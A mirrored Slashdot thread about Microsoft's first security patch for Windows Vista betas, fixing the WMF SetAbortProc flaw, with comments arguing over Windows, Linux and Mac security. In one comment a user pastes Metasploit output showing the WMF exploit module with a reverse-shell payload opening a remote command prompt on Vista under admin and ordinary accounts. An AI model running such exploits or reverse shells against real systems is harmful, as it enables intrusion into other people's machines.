Slashdot Mirror


First Windows Vista Security Update Released

Bard Of Vim writes "Microsoft has issued critical security patches for beta testers running the Windows Vista December CTP (Community Technology Preview) and Windows Vista Beta 1, and warned that the new operating system was vulnerable to a remote code execution flaw in the Graphics Rendering Engine. The Vista patches address the same vulnerability that led to the WMF (Windows Metafile) malware attacks earlier this month. The recent out-of-cycle security update for the WMF vulnerability (see slashdot coverage) makes no mention of Windows Vista being vulnerable, but with the release of this weekend's patches it is clear that the poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."

317 comments

  1. Cant wait... by XanthusMaximus · · Score: 2, Insightful

    Wonder what exploits there will be when its actually out?

    1. Re:Cant wait... by In+Fraudem+Legis · · Score: 2, Insightful

      Probably the same ones XP and 2k have.

      --
      Per Aspera Ad Astra.
    2. Re:Cant wait... by blast3r · · Score: 5, Informative

      I posted something about Vista being vulnerable to the WMF thing in a Vista Kernel post here not long ago. They got a little mad at me but that is okay. Everyone has to be mad at someone!

      People were telling me you can't automatically exploit it but I fired up metasploit and was successful with the admin account and a non-priv account.

      Administrator

      msf ie_xp_pfv_metafile(win32_reverse) > exploit
      [*] Starting Reverse Handler.
      [*] Waiting for connections to http://10.1.1.101:8080/
      [*] HTTP Client connected from 10.1.1.106:49450, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49451, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49452, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49453, sending 1864 bytes of payload...
      [*] Got connection from 10.1.1.101:4321 10.1.1.106:49454

      Microsoft Windows [Version 6.0.5112]
      (C) Copyright 1985-2005 Microsoft Corp.

      E:\Users\Administrator\Desktop>

      Test account

      msf ie_xp_pfv_metafile(win32_reverse) > exploit
      [*] Starting Reverse Handler.
      [*] Waiting for connections to http://10.1.1.101:8080/
      [*] HTTP Client connected from 10.1.1.106:49487, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49488, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49489, sending 1864 bytes of payload...
      [*] Got connection from 10.1.1.101:4321 10.1.1.106:49490

      Microsoft Windows [Version 6.0.5112]
      (C) Copyright 1985-2005 Microsoft Corp.

      E:\Users\test\Desktop>

      I am wondering what else they are going to import from the old technology. I was a Windows fan up until this WMF dealio. I work in an Information Security office and all of our staff are going to Mac. Ordered them Friday!

    3. Re:Cant wait... by Anonymous Coward · · Score: 3, Insightful
      Wonder what exploits there will be when its actually out?

      Fixing bugs in a pre-beta OS under development is indicative of this? Then a changelog of Linux or OS/X beta will scare you good.

    4. Re:Cant wait... by Overly+Critical+Guy · · Score: 5, Interesting

      With regards to Vista, it's a valid question. Remember that Microsoft is introducing all sorts of brand new version 1.0 APIs. They had to cancel Vista Beta 2 in favor of CTPs due to their rushed schedule, and they missed their Feature Complete deadline of December and are now aiming for the end of the month. Vista will suffer from reduced testing unless it is delayed to early 2007 (something I believe is likely to happen later this year).

      Contrary to popular belief, Vista isn't some big rewrite. It's the same Windows as before with some architectural changes and new API layers. But the old Win32 stuff is still in there.

      Wait 'til you guys see the fun way Vista gets older apps to run that expect admin privileges--it emulates a virtual filesystem and all sorts of other crazy things. My impression of Vista is that instead of a clean redesign, it's more layers of updates and APIs on the creaky building. As for WinFX, none of the major apps are going to rewrite their big applications just to go to the slow .NET framework. Photoshop, Dreamweaver, Maya, etc. will be Win32 forever.

      I believe there are plenty of reasons to be concerned about Vista. OS X had the advantage of totally starting over and just porting over the old toolbox APIs and calling it Carbon to get older apps to come along. Vista is a weird blend of old cruft and new less-tested code, complete with suspiciously high system requirements. But hey, at least they got shadows on their windows now--I've only been seeing that for five years from Apple.

      --
      "Sufferin' succotash."
    5. Re:Cant wait... by ozmanjusri · · Score: 2, Insightful

      Fixing bugs in a pre-beta OS under development is indicative of this?

      This is a bug that was found by a third party. Microsoft, with all the effort it is putting into the Vista release, did not find this major vulnerability. The implication is that it is likely more vulnerabilities will be found by third parties, some of them malicious.

      --
      "I've got more toys than Teruhisa Kitahara."
    6. Re:Cant wait... by Crayon+Kid · · Score: 1

      Fixing bugs in a pre-beta OS under development is indicative of this? Then a changelog of Linux or OS/X beta will scare you good.

      I'm more scared of the Windows security track record.

      --
      i ate crayons when i was a kid and now i have two braincells and the blue ones taste nicer
    7. Re:Cant wait... by Cal+Paterson · · Score: 1

      Linux on the amd64 platform is getting pretty advanced; alot of the problems are disappearing, and with multilib we are able to use 32 bit binaries too (in an increasing number of cases). If vista is delayed until 2007, most of the unixes will have gotten pretty stable; it will be interesting to comepare the two; looks like we'll be starting on the amd64 with a significant advantage.

    8. Re:Cant wait... by CrossChris · · Score: 1

      "The recent out-of-cycle security update for the WMF vulnerability (see slashdot coverage) makes no mention of Windows Vista being vulnerable, but with the release of this weekend's patches it is clear that the poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista." Big surprise. "Vista" is just another re-hash of the same old rubbish, despite all the marketing claims of it being completely new code (just like Gates always claims).

    9. Re:Cant wait... by Anonymous Coward · · Score: 1, Insightful

      I am wondering what else they are going to import from the old technology. I was a Windows fan up until this WMF dealio. I work in an Information Security office and all of our staff are going to Mac. Ordered them Friday!

      Who ordered them? You did? You make it sound like you personally ordered a whole bunch of computers because of one security hole. How could a single exploit cause you to stop being a Windows fan, considering the hundreds and hundreds that came before this? Stick to Windows, newb.

    10. Re:Cant wait... by shadowbearer · · Score: 1

      You make it sound like you personally ordered a whole bunch of computers because of one security hole.

        Well, since Linux On The Desktop apparently "isn't ready yet" then what other choice did he have?

        How could a single exploit cause you to stop being a Windows fan, considering the hundreds and hundreds that came before this?

        If you even have to ask that question, you wouldn't understand the answer.

        I'm not going to comment on the "newb" because it'd be redundant.

      SB

      --
      It's old. The more humans I meet, the more I like my cats. At least they are honest.
    11. Re:Cant wait... by Anonymous Coward · · Score: 0

      I see somebody in Redmond is enjoying their Mod points today.

    12. Re:Cant wait... by Ucklak · · Score: 1

      or the first exploits to based on monad or use monad as a transport.

      --
      if you steal from one source, that is plagiarism, if you steal from many, well, that's just research.
    13. Re:Cant wait... by lumbercartel.ca · · Score: 1

      > ... I'm more scared of the Windows security track record.

      There are many support groups for folks like you -- check your local papers for WUGs (Windows Users Groups).

    14. Re:Cant wait... by blast3r · · Score: 3, Interesting

      Yes, I did order Macs for all of our staff (except for one that already has a Mac) so that means we will have 4 Macs in the office.

      I have used Microsoft since Dos 4.0 as well as other operating systems. This is the first time I got nervous just surfing the web. There have always been some kind of workaround. In this case there wasn't a good workaround for the zero day exploits that were all over the place. The crappy workaround M$ recommended wasn't a good workaround at all. If you disabled the crappy dll they suggested it is still possible for you to get compromised. There has been talk that some other programs would re-registere the crappy dll and any images you had stored in memory would be executed. Microsoft downplayed this just a bit too much for me. We have over 35,000 computers and we had students coming back the Friday before patch-tuesday. So, this was pretty bad. They did end up releasing the patch that Friday. Okay, I can live with that. *whew*

      Now, the fact that this same vulnerability was found in the new and secure Windows Vista just did it for me. That was the point I stopped being a Microsoft advocate.

      Yours truly,

      blast3r the newb

    15. Re:Cant wait... by Anonymous Coward · · Score: 0

      None...It will be as good or better than the security record for IIS6 (no security bulletins for IIS6. You and all your slashdot windows haters be silnenced....

      You should go to http://www.linuxsecurity.org/ and select advisories to see how many linux distros/packages are affected by patches this month (Hint: If you run Linux you're not as secure as you think!!!).

    16. Re:Cant wait... by tsa · · Score: 1



      Simple. It was just the droplet that made the bucket overflow.

      --

      -- Cheers!

    17. Re:Cant wait... by SneakyNinja · · Score: 1

      You've read that page you linked to, right?

      You know, the one about a fix to Quicktime on OS X, XP and Win2K?

      Just checking, because your post sounds like you thought there was an unresolved vulnerability in OS X.

    18. Re:Cant wait... by ohwell · · Score: 0

      yes I knew it was a vuln in both os's, I'm just tired of the clueless people that think osx is bullet proof.. Its just the tip of the iceberg as far as osx is concerned

  2. I find such lack of security... by giorgiofr · · Score: 1, Funny

    ... disturbing.

    --
    Global warming is a cube.
    1. Re:I find such lack of security... by TehBeer · · Score: 1

      I agree. I've yet to remember a critical fedora patch for a not yet released Redhat FC distribution.

    2. Re:I find such lack of security... by undeadly · · Score: 3, Insightful
      I agree. I've yet to remember a critical fedora patch for a not yet released Redhat FC distribution.

      This says more about Redhat FC than Microsoft, in this case. Just about weekly there is discovered a new local root vulnerability in the Linux kernel, and having dozens of those in the last year or so does not speak well of Linux security.

    3. Re:I find such lack of security... by ilikejam · · Score: 1

      I find your rack of spice disturbing.

      --
      C-x C-s C-x k
    4. Re:I find such lack of security... by ticklish2day · · Score: 1

      Get over it. There's a reason the latest Vista release is in "Beta".

    5. Re:I find such lack of security... by fimbulvetr · · Score: 3, Informative

      Say what???
      Just about weekly? I beg to differ. Last local root exploit:

      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE- 2005-3257 Date? 2005-10-17

      The one before:

      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2005-2490 (and 2492, both with sendmsg) Date? 2005-09-09

      How about the one before?

      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2005-1768 Date? 2005-07-11

      Perhaps you'd like to backup your claim?

      Dozens? No. Several? Yes. Dozen? About that. How many would M$ products have if as many eyes analyzed it relentlessly? A metric assload. Take the partial 2k source code for an example.

    6. Re:I find such lack of security... by Anonymous Coward · · Score: 0

      What the fuck?

    7. Re:I find such lack of security... by lumbercartel.ca · · Score: 1

      > ... http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE- 2005-3257 Date? 2005-10-17
      > ... http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2005-2490 (and 2492, both with sendmsg) Date? 2005-09-09
      > ... http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2005-1768 Date? 2005-07-11 ...

      Oh well, once every month or two isn't as bad as weekly. Hopefully people will be just as forgiving of this Linux track record that you provided as they are of Microsoft's track record with the security holes in Windows.

      Swiss cheese and wine, anyone?

    8. Re:I find such lack of security... by fimbulvetr · · Score: 2, Insightful

      Now, any good sysadmin knows that he shouldn't be running 2.6 yet, which renders most of the 2.6 vulnerabilities moot for gauging the security of a linux box. When 2.4 was riddled with holes, we used 2.2, and so on.

      Another thing good sysadmins should do to minimize threats is to chroot all of his daemons as well as not provide them with logon shells and huge 100+ character pwgen'd passwords - effectively negating the vulnerability from a server standpoint.

      Those are just two of the things Linux offers us that M$ software does not. To say that local exploits on the newest kernel should be humbling to the linux community because it's no better than Microsoft's latest "stable" OS is ignorance in just about every way.

    9. Re:I find such lack of security... by lumbercartel.ca · · Score: 1

      Sorry, I forgot to include the SARCASM tags. ;-D

    10. Re:I find such lack of security... by ilikejam · · Score: 1

      I find you knack with bass disturbing.

      --
      C-x C-s C-x k
    11. Re:I find such lack of security... by sh0knah · · Score: 1

      Exactly how many eyes have analyzed Linux "relentlessly?"

      I have worked with/for a number of companies that build both Linux and Windows versions of utility software. With all the gurus on the Linux team zealously evangelizing the intense scrutiny Linux comes under, none had ever done more than peek under the hood when they needed an answer to a specific "how does this work" question.

      The ability to "peek under the hood" comes in very handy and makes software development a lot easier sometimes. But as for "relentless analysis," I haven't seen it or ever known anyone who has seen it. The constant influx of Linux security flaws (not making a comparison to Window$, just absolute numbers) indicates that we have a ways to go.

      Linux may well be more secure. But prove it. I don't buy arguments based on "everyone knows that" or "it stands to reason that there is more scrutiny." The modern myth is that there are millions of developers pouring over Linux source code everyday and when a bug is found, they pool their collective resources and fix the bug in mere minutes. They then ensure that all worldwide Linux distributions are patched before there is an opportunity for an exploit.

      Given the fact that half of the software developers in the world work for Micro$oft and the other half write software for Windows (with the remainder divided up evenly between the remaining hundred and some odd platforms), it may well be argued that there is more "relentless" scrutiny on that platform...

      (By the way, I don't have specific numbers on how many software developers work at Microsoft, but I think "everyone knows" that this is an accurate estimate.)

  3. And it wasn't audited while porting?! by Pecisk · · Score: 5, Interesting

    What a hell is happening on Microsoft? They have a major Windows version upgrade and they don't even audit their portable old code for such things?! I would get a someone responsible about security in Windows Vista fired ASAP.

    How they think will be migration from old versions of Windows if such things will countinue to happen? Yeah, I know, OEM will have Vista and that's all. But with Web applications my pick is that lot of enterprises will stick with their Windows 2000/XP.

    No doubt that Microsoft will have hard time to make Vista as smash hit as they would like it to be.

    --
    user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
    1. Re:And it wasn't audited while porting?! by giorgiofr · · Score: 5, Interesting

      Well, Vista does look like it's seriously going to be a helluva flop, but because of a very simple reason: users don't need it! No, they don't care about security, they don't want to know about WinFS (which isn't there anyway), they certainly don't care about .NET 2.
      What matters is that they don't want to buy a new Dell in order to use... what exactly? Actually, were it not for some games and a slicker GUI, I'd probably stick with 2k, which is still the best Windows made to date. Yeah, holes in RPC and whatnot, but still better than all the other Windowses.

      --
      Global warming is a cube.
    2. Re:And it wasn't audited while porting?! by Timesprout · · Score: 2, Insightful

      What a hell is happening on Microsoft? They have a major Windows version upgrade and they don't even audit their portable old code for such things?!

      Eh, they fix a bug in an early beta version and you have a problem with this because?

      --
      Do not try to read the dupe, thats impossible. Instead, only try to realize the truth
      What truth?
      There is no dupe
    3. Re:And it wasn't audited while porting?! by NetJunkie · · Score: 5, Funny

      You're right! They should fix these bugs before release...in some period where things are still be fixed. Maybe call it....Beta, yeah, that's it. Oh wait....

    4. Re:And it wasn't audited while porting?! by Anonymous Coward · · Score: 0

      Oh of a no! I could not possibility imagine why Microsoft (or Micro$uck) would commit to such a evil activity! Is it with great doubtabiliness that my broken English could convey my hurt more.

      Vista is not a succeeder!

    5. Re:And it wasn't audited while porting?! by sqlrob · · Score: 1

      Fixing it is kudos to MS.

      The fact that it was STILL IN THERE more than makes up for it. Trustworthy Computing, what, four years ago, was supposed to involve audits, yet this bug made it in after (at least) two audits - the pre XP one and pre-Vista one.

    6. Re:And it wasn't audited while porting?! by dreemernj · · Score: 1

      Doesn't sound like they are using portable old code, so much as another bit of code has the same vulnerability. Kinda like how WINE had(or still has?) the WMF vulnerability. Not the same code, just the same kind of problem.

      --
      1 (short ton / firkin) = 89.1432354 slugs / keg
    7. Re:And it wasn't audited while porting?! by Nejaa · · Score: 1

      They have a major Windows version upgrade and they don't even audit their portable old code for such things?!

      No kidding! *and* according to TFA, this has been around since Windows 3.0. So, not only has this been missed when porting from XP to Vista, but missed many, many times previously.

      --
      A wise man once said: "Never pick a fight with a man who buys his ink by the barrel."
    8. Re:And it wasn't audited while porting?! by Pecisk · · Score: 2, Insightful

      I have problem that they fixed this problem only because someone discovered this ugly hack and they should do that. They didn't discovered by themselves, as some of other posters pointed out, in two major version upgrades - Windows 2000 and Windows XP. And they claimed that Vista will be secure. Can you say Vista will be secure if they don't check out and don't catch such obious old design bugs like this one?

      It is not how the biggest and "greatest" software company in the world should do their homework.

      --
      user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
    9. Re:And it wasn't audited while porting?! by E-Rock · · Score: 1

      We moved over to XP after SP2. The integrated firewall was something that made the move worthwhile to us. At least for us, Vista will be the same way. It'll wait until there's something compelling about it. (like running on the MacBook) ;)

    10. Re:And it wasn't audited while porting?! by gutnor · · Score: 1

      On the other hand, the code has been there and the 'feature' documented for *years* and nobody has ever thought to use as a security breach before now. Even people in the WINE project have implemented the 'feature' without noticing the problem.

      But indeed promoting 'Trustworthy Computing', and after letting a bug go through a whole product line unoticed for 10 years is ironic ...

    11. Re:And it wasn't audited while porting?! by Al_Maverick · · Score: 1

      I think there is no one responsible for security to fire. That seems to be the problem in the first place. Perhaps they should fire the marketing guy for the Security initiative a couple years back

    12. Re:And it wasn't audited while porting?! by Anonymous Coward · · Score: 0

      I would get a someone responsible about security in Windows Vista fired ASAP.

      What makes you think they have such a person?

    13. Re:And it wasn't audited while porting?! by Fantasio · · Score: 1

      I always had the feeling that "Security Auditing" and "Quality Assurance" were concepts totally alien in Redmond.

    14. Re:And it wasn't audited while porting?! by Anonymous Coward · · Score: 0

      What games don't work with 2k? I haven't seen one yet.

    15. Re:And it wasn't audited while porting?! by westlake · · Score: 2, Insightful
      Vista does look like it's going to be a helluva flop, because of a very simple reason: users don't need it!

      Vista will appear in the consumer market as the successor to Win MCE, at a time when HDTV, the HTPC and on-line media services are becoming mass-market.

      To me, this looks like money in the bank.

    16. Re:And it wasn't audited while porting?! by Truekaiser · · Score: 1

      they might do somthing drastic like stop all support for all their os's pre-vista.. don't laugh it's a very real posibility.

    17. Re:And it wasn't audited while porting?! by zetokore · · Score: 1

      "Trustworthy Computing" never meant Microsoft will never have a bug again.

    18. Re:And it wasn't audited while porting?! by speculatrix · · Score: 1

      XP sp2 firewall? ha! get zonealarm instead, 10 times better.

    19. Re:And it wasn't audited while porting?! by Anonymous Coward · · Score: 0

      Hoo boy!

      The point is that they are already touting Vista as the "safest Windows ever". (Hmmm, where have I heard that before?) They claim that everything has been tested, audited, etc, etc, etc... and it has already fallen prey to a new exploit that seems to date back to win98 (95??). I predict a lot more of the same after release.

    20. Re:And it wasn't audited while porting?! by Anonymous Coward · · Score: 0

      They might very well have audited the WMF library for security exploits and signed off on it since it wasn't an exploit of buggy code as much as an exploit of an unintended use which is exactly why it ended up in WINE as well.

    21. Re:And it wasn't audited while porting?! by giorgiofr · · Score: 1

      Well I've seen quite a few that officially require XP. Can't remember them off the top of my head but there are some. Then again, maybe they work just as well on 2k if you force installation, I've never tried.

      --
      Global warming is a cube.
    22. Re:And it wasn't audited while porting?! by imipak · · Score: 2, Insightful
      Well, Vista does look like it's seriously going to be a helluva flop, but because of a very simple reason: users don't need it!

      Son, I've been hearing people say that every time Microsoft finally crimps off another length of code into a shrinkwrapped box and calls it an OS since 1995. It was true then (cos Windows NT 3.51 was out...) and it's been true for every turd they've shipped since. And people still keep buying new PCs, which keep on arriving with the current shipping Microsoft OS for that market. They don't have to sellthe thing to anyone, they just have to 'roll it out'. Even corporates work on the same basis with a 12-24 month lag behind the consumer market.

    23. Re:And it wasn't audited while porting?! by ClamIAm · · Score: 1
      Actually, were it not for some games and a slicker GUI, I'd probably stick with 2k, which is still the best Windows made to date.

      This has been Microsoft's business model all along. They know they don't have any real new features, and they know they can't steal things like they used to, so they have to force obsolescence of their products. So they don't backport things.

      Sure, you can replace IE with another browser, but some things aren't really replaceable. DirectX forces gamers to eventually buy a newer version of Windows. I'm rather certain they're going to start doing the same thing with their APIs (.NET), so businesses will also be forced to upgrade, even if they don't need the support/patches. And planned incompatability (Office) has been forcing businesses to upgrade for years.

      Now compare this to other operating systems. You could say Apple does the same thing with OS X, but every major release of that OS has actually improved things. And with a Free OS, you can install whatever packages you need, provided you know what you're doing.

    24. Re:And it wasn't audited while porting?! by a.d.trick · · Score: 1

      Your forgetting that few desisions in IT are made by the users. Or even with then nessisarily in mind. If my parents had they're wish they would have stuck with windows 98 -- the idea of a multi user OS is confusing to them. Whenever I'm on look at they're computer they have things all over the drive in the wierdest places. Then they complain that they have a hard time backing things up.

      Anyways, my point is that people don't have to want want Vista. It will come whether they like it not. Probably though the next time they buy a computer, or else though some coporate mandate done by some self-important IS Manager.

    25. Re:And it wasn't audited while porting?! by Anonymous Coward · · Score: 0

      Oh, I've seen this "That's why we're not shipping it yet" kind of stuff from Microsoft before. You wonder whether they actually do anything between when the first problems arise, and when the product ships, or anything later between the first shipping date, and when the product is discontinued. I've seen it all before right here.

    26. Re:And it wasn't audited while porting?! by man_of_mr_e · · Score: 1, Insightful

      Dude. Do you HONESTLY think that virtually *ANY* non-trivial piece of software will ever be completely defect free? Ever? Even Donald Knuth paid a good chunk of money in "bounties" on his supposed bug free software, though there hasn't been one found in a while now. And TeX is orders of magnitude less complex than a typical OS distribution, such as Windows, Mac OSX, or any version of Linux.

      It's utterly brain dead to "complain" that flaws are found and fixed, regardless of how seriously security is being taken.

    27. Re:And it wasn't audited while porting?! by frankthechicken · · Score: 2, Insightful

      and after letting a bug go through a whole product line unoticed for 10 years is ironic ...

      I think you misspelled iconic.

    28. Re:And it wasn't audited while porting?! by NatteringNabob · · Score: 1

      Vista will be 'The most successful operating system release in history' simply because the overwhelming majority of computer users won't have a choice; it will come pre-installed with their computer whether they want it or not. It's good to be an abusive monopolist. This certainly does show that Vista is not 'completely rewritten from scratch', marketing BS to the contrary. It is truly astounding that Microsoft can dump anything, no matter how preposterous, on the PR newswire and have it accepted as gospel truth.

    29. Re:And it wasn't audited while porting?! by WilliamSChips · · Score: 1

      None that officially require XP that I know of--the old Command and Conquer(Tiberian Dawn) and Red Alert (1) won't work on 2000 or XP--they need 98 or earlier.

      --
      Please, for the good of Humanity, vote Obama.
    30. Re:And it wasn't audited while porting?! by bit01 · · Score: 1

      It's utterly brain dead to "complain" that flaws are found and fixed, regardless of how seriously security is being taken.

      It's also utterly braindead to imply one bug is the same as another. This bug is a doozy and should've been picked up by a decent security audit.

      ---

      Open source software is everything that closed source software is. Plus the source is available.

    31. Re:And it wasn't audited while porting?! by sqlrob · · Score: 1

      Not have bugs? Of course not.

      Any reasonable security audit is going to have checks for arbitrary code execution, as well as careful examination of any code that deals with self describing files. WMF fits *BOTH* those categories.

    32. Re:And it wasn't audited while porting?! by E-Rock · · Score: 1

      I don't use it on my desktop, but for pushing to 300 desktops with control via group policy, the SP2 firewall is just fine.

    33. Re:And it wasn't audited while porting?! by man_of_mr_e · · Score: 1

      "A decent security audit"? Seriously. Have you ever tried to audit 50 million lines of code? How come the Wine developers didn't catch this? Why did they implement the same flaw? If it was that obvious, that wouldn't have happened.

  4. At least... by ajdlinux · · Score: 5, Insightful

    ...they're fixing bugs before they release. M$ is doing something right and actually attempting to release a more secure Windoze than XP.

    1. Re:At least... by smittyoneeach · · Score: 0, Troll
      M$ is doing something right
      Doing something right would imply a proactive organization reducing flaws, and the development patterns that implement them, over time.
      I would not accuse Mr. Softy of being a proactive organization.
      --
      Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
    2. Re:At least... by An+Onerous+Coward · · Score: 1

      Bug fixing happens all the time in software development. Nothing about this story indicates that Microsoft is ahead of the game.

      Rather, what it indicates is that Microsoft is recycling a bunch of XP code. That's not necessarily a bad thing, especially given the need for backwards compatability. But it means that whenever they find a new XPloit, they'll have to release a Vista patch at the same time. Otherwise, hackers could reverse-engineer the XP patch, and try the same exploit on Vista.

      That will be more true once Vista actually launches. Right now, I guess they can just console themselves by saying that hardly anyone is using Vista, and certainly not on production systems. But it would be a good idea for them to get their XP and Vista patching schedules synched.

      --

      You want the truthiness? You can't handle the truthiness!

    3. Re:At least... by gutnor · · Score: 1

      It is not so sure that they recycle some old code. After all WINE team didn't recycle Microsoft code and still have exactly the same problem!

    4. Re:At least... by Firehed · · Score: 1

      OTOH, it's not exactly promising when people are finding and exploiting security flaws before it's even released. If this is more secure than ever, I'm certainly worried.

      --
      How are sites slashdotted when nobody reads TFAs?
    5. Re:At least... by rapidweather · · Score: 1

      It would be nice if they would continue to test until Vista is really ready for release to the general public. Soon, all the computers in the stores will have Vista preinstalled, and lots of people will be buying them, just like they buy the machines now. The public expects all of the security problems and bugs, etc. will be minimal, and that they are getting their money's worth when they buy a new computer. Just like a new car, all of the problems solved before the car/truck, etc. hits the showroom. Sure hope this is the case with Windows Vista.

    6. Re:At least... by jZnat · · Score: 1

      That's because the actual idea behind the standard was flawed. That will always lead to problems.

      --
      'Yes, firefox is indeed greater than women. Can women block pops up for you? No. Can Firefox show you naked women? Yes.'
  5. Frist patch by sexyrexy · · Score: 5, Insightful

    They ported some functional code to their newest project. I hope they don't get unfairly bashed for this, just because a few bits of said code were discovered to be vulnerable. Every halfway intelligent programmer reuses code - it would be far more stupid not to. This is semi-interesting as a landmark ("frist patch!") but not exactly news because of what it contains.

    --

    Rex is 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    1. Re:Frist patch by Anonymous Coward · · Score: 0

      They really should get bashed for this. Its an old problem they didn't fix on their shiny new system.

      Of course bugs in a beta release are generally acceptable - but this is schoolboy stuff that should have been fixed in alpha.

    2. Re:Frist patch by Libor+Vanek · · Score: 2, Insightful

      You don't get it. Nobody is expecting that MS will not re-use the old code. For that MS is doing the "Singularity OS" project.

      What's wrong with this bug is that clearly Microsoft "software quality control" is failed (we know it for a long time - this is just another prove). All code going to Vista should be checked line by line and not cut-n-pasted function by function.

    3. Re:Frist patch by peragrin · · Score: 3, Insightful

      No MSTF ported flawed buggy code that was rewritten specifically for XP. With earlier 98/me/2k all immune MSFT rewrote buggy code just for XP and then carried that to Visyta.

      Vista by the way should of been a complete ground up rewrite. i would expect no less for taking over 6 years to build. Just look at were KDE, Linux kernel, X where 6 years ago. Hell look at what Apple did with OS X in far less time than MSFT. Every other major OS has under gone massive revisions and upgrades. Hell Apple is working on it's second major change in 6 years. (Mac OS 9 to OS X , PPC to Intel)

      Why can't MSFT with it's billions do that? Oh right because it's not about money spent but about productivity.

      --
      i thought once I was found, but it was only a dream.
    4. Re:Frist patch by IntlHarvester · · Score: 5, Insightful

      > Hell look at what Apple did with OS X in far less time than MSFT

      Apple bought an abandoned OS from the 1980s, that uses kernel with code originally written in the late 1970s. On top of that, they bolted a bunch of Toolbox compatibility code dating from the 80s and 90s, and a bunch of *nix stuff which is also 10-20 years old.

      So, it somewhat silly that you would argue that MS performs a "complete ground up rewrite", all while advocating MacOS X, which is a complete slut for legacy code.

      --
      Business. Numbers. Money. People. Computer World.
    5. Re:Frist patch by kinkie · · Score: 1

      Puh-leeze... every application that has been running for years HAS to have some code that's a leftover from its earlier days. This includes Linux and X11, of course. Unless said app underwent a complete rewrite, which means that at a certain point its authors had realized that the thing was totally hopeless and couldn't go forward anymore.

      This is doubly true for a proprietary OS, which has to provide a compatiblity layer of some sort to its previous incarnations. It just doesn't make sense to rewrite that layer from scratch each time, it would make regression testing economically unmanageable.

      About M$FT taking 6 years to build Vista, there are only this many good programmers (and managers) that you can hire. Add in the compatibility mess, and you end up tangling yourself more and more. Linus can afford to say "Screw incompatible device drivers update or use an older kernel version"; M$FT can't as third-party device drivers are crucial to get the OS out to the customers AND the kernel can't be unbundled from the libraries and core apps.

      --
      /kinkie
    6. Re:Frist patch by MikTheUser · · Score: 3, Insightful

      So, it somewhat silly that you would argue that MS performs a "complete ground up rewrite", all while advocating MacOS X, which is a complete slut for legacy code.

      Maybe his argumentation was wrong, but the simple fact is: BSD/Darwin/OS X never needed a rewrite - they work really well to this day, as you can see on Apples all over the globe. Windows' code, however, should have been dumped, printed on toilet paper and nailed to the church door as a bad example at the time Windows ME was released at the very latest.

    7. Re:Frist patch by QuietLagoon · · Score: 1
      Every halfway intelligent programmer reuses code - it would be far more stupid not to.

      So the Trustworthy Computing initiative means nothing? The security emphasis means nothing.

      So long as code is reused, all is OK?

    8. Re:Frist patch by Anonymous Coward · · Score: 1, Funny
      MacOS X, which is a complete slut for legacy code.
      I guess I am in love with a slut then. :-)
    9. Re:Frist patch by IntlHarvester · · Score: 0, Flamebait

      Look flameboy -- don't you think bringing up Windows ME is slightly ironic while Apple is plungering MacOS 9 down the toliet? At least WinME software still runs.

      No, Apple needed a rewrite, couldn't do it themselves, and bought someone else's legacy problems. Of course, I wouldn't expect a coherent historical view of things from a guy who's post boils down to OOG SAY MACS GOOD WINDOWS BAD. OOG BREAK HEAD WITH INTEL IMAC.

      Anyway, there's nothing wrong with OS X -- you just get all the legacy code with none of the backward-compatibility, that's all.

      --
      Business. Numbers. Money. People. Computer World.
    10. Re:Frist patch by Anonymous Coward · · Score: 0

      AFAIK OS X uses a micro kernel which really is not that old.

    11. Re:Frist patch by peragrin · · Score: 1

      I run OS 9 apps every day. They work perfectly. well at least as well as any app on Win Me runs.

      Backwards compatibility is just fine. all you need to due is install classic mode. it even plays games. What games there were for OS 9.

      --
      i thought once I was found, but it was only a dream.
    12. Re:Frist patch by IntlHarvester · · Score: 1

      Classic is dead on Intel. So enjoy it until you buy a new, non-legacy Mac.

      --
      Business. Numbers. Money. People. Computer World.
    13. Re:Frist patch by Peter+Bonte · · Score: 1

      MS first intention was a complete rewrite but that was way over the edge, so now they'll just revamp XP with security tweaks and we have to be happy with that?

      I'm glad Vista is will be able to run on my new intel Mac but i'm probably to afraid to use it as i have no experience with the security problems you guys tackle on a daily basis. Buying and renting all that viri soft just so i can play a win-only game is also a downer. I really hate it, maybe i'l just buy a PS3 if it supports mouse and keyboard.

    14. Re:Frist patch by IntlHarvester · · Score: 1

      CMU BSD/Mach was originally a research OS from the mid 1980s. I believe it is older than the WinNT kernel, which was started around 1990 or so.

      --
      Business. Numbers. Money. People. Computer World.
    15. Re:Frist patch by Anonymous Coward · · Score: 0

      Vista is not a ground-up rewrite.
      It's the same code as XP. The code doesn't get cut-n-paste into Vista, it's ALREADY THERE.
      So exactly when were they supposed to check it line-by-line as they were adding code that has been in windows for 10 years? (apart from 10 years ago when it was written of course)

    16. Re:Frist patch by Pecisk · · Score: 1

      Yes, but somehow it works for them (t.i.Apple with OS X). Strange, isn't it?

      More to point - Microsoft "let's hack something for version 1.0 and then let's somehow provide workarounds" way of doing things are hitting them back hard time. And that is only and only their fault.

      --
      user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
    17. Re:Frist patch by Anonymous Coward · · Score: 0

      No it isn't. You can run classic under rosetta.

    18. Re:Frist patch by Anonymous Coward · · Score: 0

      Because we all know that checking tens of millions of lines of code is not a big deal at all.

    19. Re:Frist patch by IntlHarvester · · Score: 1

      This was a design flaw, so even if they did rewrite from scratch, they would be just like WINE and end up with the exact same bug. The only option would be to kill WMF as a legacy format, and that would mean old software would fail to work.

      And I'm half-waiting for someone to discover that MacOS X's PICT file format handler has a similar bug. Although OS X security holes are very rarely exploited by the vulgar sorts of script kiddies and spam merchants.

      --
      Business. Numbers. Money. People. Computer World.
    20. Re:Frist patch by IntlHarvester · · Score: 1

      > You can run classic under rosetta.

